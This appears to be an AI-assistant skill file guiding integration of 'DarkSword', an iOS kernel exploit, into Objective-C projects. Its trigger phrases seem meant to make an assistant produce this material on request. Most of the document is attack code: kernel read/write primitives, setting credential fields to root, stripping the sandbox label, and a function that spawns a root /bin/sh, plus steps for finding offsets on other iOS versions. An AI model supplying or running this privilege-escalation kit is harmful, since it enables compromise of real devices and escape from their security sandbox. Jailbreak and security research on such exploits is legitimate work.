DarkSword Kernel Exploit

---
name: darksword-kexploit
description: iOS kernel exploit (iOS 15.0–26.0.1) reimplemented in Objective-C, providing kernel read/write primitives and privilege escalation on supported devices.
triggers:
  - integrate darksword kernel exploit
  - use DarkSword kexploit in my iOS project
  - kernel read write primitives iOS
  - iOS privilege escalation exploit Objective-C
  - kernel exploit offsets iOS 15
  - implement kernel exploit in Objective-C
  - darksword exploit setup and usage
  - iOS jailbreak kernel exploit integration
---

# DarkSword Kernel Exploit

> Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection.

DarkSword is a kernel exploit for iOS 15.0–26.0.1, reimplemented in Objective-C. It provides kernel-level read/write primitives and privilege escalation capabilities. Offsets are currently hardcoded for iOS 15.x; extending to other versions requires supplying correct kernel offsets.

---

## What It Does

- Exploits a kernel vulnerability present in iOS 15.0 through 26.0.1
- Provides arbitrary kernel memory read (`kread`) and write (`kwrite`) primitives
- Enables privilege escalation (setuid 0 / unsandboxing)
- Written in Objective-C for easy integration into iOS tooling, jailbreaks, or research projects

---

## Installation

### Adding to an Xcode Project

1. Clone the repository:
   ```bash
   git clone https://github.com/opa334/darksword-kexploit.git

2. Drag the source files into your Xcode project target.

3. Ensure your project's build settings include:

   • Deployment Target: iOS 15.0+
   • ARC: Enabled
   • Relevant entitlements if running on-device (codesign accordingly)

4. Import the main header:

   #import "DarkSword.h"
   

Theos/Makefile Integration

ARCHS = arm64 arm64e
TARGET = iphone:clang:latest:15.0

include $(THEOS)/makefiles/common.mk

TOOL_NAME = myexploit

myexploit_FILES = main.m DarkSword.m exploit_helpers.m
myexploit_CFLAGS = -fobjc-arc
myexploit_LDFLAGS = -lSystem

include $(THEOS_MAKE_PATH)/tool.mk

---

Key API / Usage Patterns

1. Running the Exploit

#import "DarkSword.h"

int main(int argc, char *argv[]) {
    @autoreleasepool {
        DarkSword *exploit = [[DarkSword alloc] init];

        BOOL success = [exploit run];
        if (!success) {
            NSLog(@"[!] Exploit failed.");
            return 1;
        }

        NSLog(@"[+] Exploit succeeded. Kernel task port: %d", exploit.kernelTaskPort);
    }
    return 0;
}

---

2. Kernel Read Primitive

#import "DarkSword.h"

// Read 8 bytes (uint64_t) from a kernel address
uint64_t ReadKernel64(DarkSword *exploit, uint64_t address) {
    uint64_t value = 0;
    [exploit kread:address into:&value size:sizeof(uint64_t)];
    return value;
}

// Example: read kernel slide from a known pointer
uint64_t kernelBase = ReadKernel64(exploit, KNOWN_KERNEL_POINTER_OFFSET);
NSLog(@"[+] Kernel base: 0x%llx", kernelBase);

---

3. Kernel Write Primitive

#import "DarkSword.h"

// Write 8 bytes to a kernel address
void WriteKernel64(DarkSword *exploit, uint64_t address, uint64_t value) {
    [exploit kwrite:address from:&value size:sizeof(uint64_t)];
}

// Example: patch a kernel flag
uint64_t targetAddr = kernelBase + SOME_OFFSET;
WriteKernel64(exploit, targetAddr, 0x1);
NSLog(@"[+] Kernel flag patched at 0x%llx", targetAddr);

---

4. Privilege Escalation

#import "DarkSword.h"
#import <unistd.h>

void escalatePrivileges(DarkSword *exploit) {
    // Get current task's proc pointer from kernel
    uint64_t currentProc = [exploit currentProc];

    // Overwrite uid/gid fields to 0 (root)
    uint64_t ucredOffset = [exploit ucredOffsetForProc:currentProc];
    uint64_t ucred = ReadKernel64(exploit, currentProc + ucredOffset);

    // Zero out cr_uid, cr_gid, cr_ruid, cr_rgid
    for (int i = 0; i < 4; i++) {
        WriteKernel64(exploit, ucred + (i * 4), 0x0);
    }

    NSLog(@"[+] UID after escalation: %d", getuid()); // Should print 0
}

---

5. Providing Custom Kernel Offsets

Since offsets are hardcoded for iOS 15.x, you must supply correct offsets for other versions:

#import "DarkSword.h"

// Create a KernelOffsets struct (check DarkSword.h for definition)
KernelOffsets offsets = {
    .proc_ucred       = 0xD8,   // offsetof(proc, p_ucred) for your iOS version
    .ucred_cr_uid     = 0x18,
    .task_itk_self    = 0xD8,
    .kernelslide      = 0x0,    // determined at runtime
    // ... fill remaining fields per iOS version
};

DarkSword *exploit = [[DarkSword alloc] initWithOffsets:offsets];
BOOL success = [exploit run];

Finding Offsets

Use jtool2 or iometa on the kernelcache for your target iOS version:

# Extract and analyze kernelcache
img4tool -e kernelcache.img4 -o kernelcache.dec
jtool2 --analyze kernelcache.dec

# Find struct offsets
iometa -A kernelcache.dec | grep "proc\|ucred\|task"

---

Configuration Reference

Field	Description	Default (iOS 15.x)
proc_ucred	Offset of p_ucred in proc struct	Hardcoded
ucred_cr_uid	Offset of cr_uid in ucred struct	Hardcoded
task_itk_self	Offset of itk_self in task struct	Hardcoded
kernelslide	KASLR slide (computed at runtime)	0x0
vm_map_offset	Offset of vm_map in task	Hardcoded

---

Common Patterns

Check iOS Version Before Running

#import <UIKit/UIKit.h>
#import "DarkSword.h"

BOOL isSupportedVersion(void) {
    NSOperatingSystemVersion minVer = {15, 0, 0};
    NSOperatingSystemVersion maxVer = {26, 0, 1};
    NSProcessInfo *info = [NSProcessInfo processInfo];
    return [info isOperatingSystemAtLeastVersion:minVer] &&
           ![info isOperatingSystemAtLeastVersion:(NSOperatingSystemVersion){26, 0, 2}];
}

int main(int argc, char *argv[]) {
    @autoreleasepool {
        if (!isSupportedVersion()) {
            NSLog(@"[!] Unsupported iOS version.");
            return 1;
        }
        DarkSword *exploit = [[DarkSword alloc] init];
        [exploit run];
    }
    return 0;
}

Unsandboxing the Current Process

void unsandbox(DarkSword *exploit) {
    uint64_t proc = [exploit currentProc];
    uint64_t ucred = ReadKernel64(exploit, proc + [exploit ucredOffsetForProc:proc]);

    // Clear sandbox label pointer (cr_label offset varies by version)
    uint64_t crLabelOffset = 0x78; // iOS 15.x example
    WriteKernel64(exploit, ucred + crLabelOffset, 0x0);

    NSLog(@"[+] Sandbox removed for current process");
}

Spawning a Root Shell

#import <spawn.h>

void spawnRootShell(DarkSword *exploit) {
    escalatePrivileges(exploit);
    unsandbox(exploit);

    pid_t pid;
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { "PATH=/usr/bin:/bin:/usr/sbin:/sbin", NULL };
    posix_spawn(&pid, "/bin/sh", NULL, NULL, argv, envp);
    waitpid(pid, NULL, 0);
}

---

Troubleshooting

Exploit Returns NO / Fails Silently

• Confirm device is running a supported iOS version (15.0–26.0.1).
• Ensure you're running on a physical device — the exploit does not work in the Simulator.
• Check kernel offsets match the exact iOS build (minor build differences matter).
• Review Xcode console for NSLog output indicating which stage failed.

Kernel Panic on Write

• The target address is likely invalid or unmapped. Validate with a kread first.
• Ensure KASLR slide is correctly computed before using slid addresses.

Offsets Wrong for My iOS Version

• Use jtool2 --analyze or iometa on the specific kernelcache build.
• iOS minor/patch versions can change struct layouts — always verify against the exact build number.

Build Errors: Missing Types

• Ensure you include both DarkSword.h and exploit_helpers.h in files that use KernelOffsets.
• Confirm ARC is enabled (-fobjc-arc).

Codesigning / Entitlements

• On-device execution requires a valid provisioning profile.
• For full kernel access, the binary may need com.apple.private.security.no-sandbox and task_for_pid-allow entitlements (only grantable via jailbreak or developer bypass).

---

Project Structure

darksword-kexploit/
├── DarkSword.h          # Main public header (API surface)
├── DarkSword.m          # Core exploit implementation
├── exploit_helpers.h    # Utility types and macros
├── exploit_helpers.m    # Helper functions (kread/kwrite wrappers)
├── offsets.h            # Hardcoded iOS 15.x kernel offsets
└── main.m               # Example entry point

---

References

• opa334/darksword-kexploit on GitHub
• jtool2 — kernelcache analysis
• iometa — IOKit class enumeration and offset finding
• checkra1n / palera1n — reference jailbreak implementations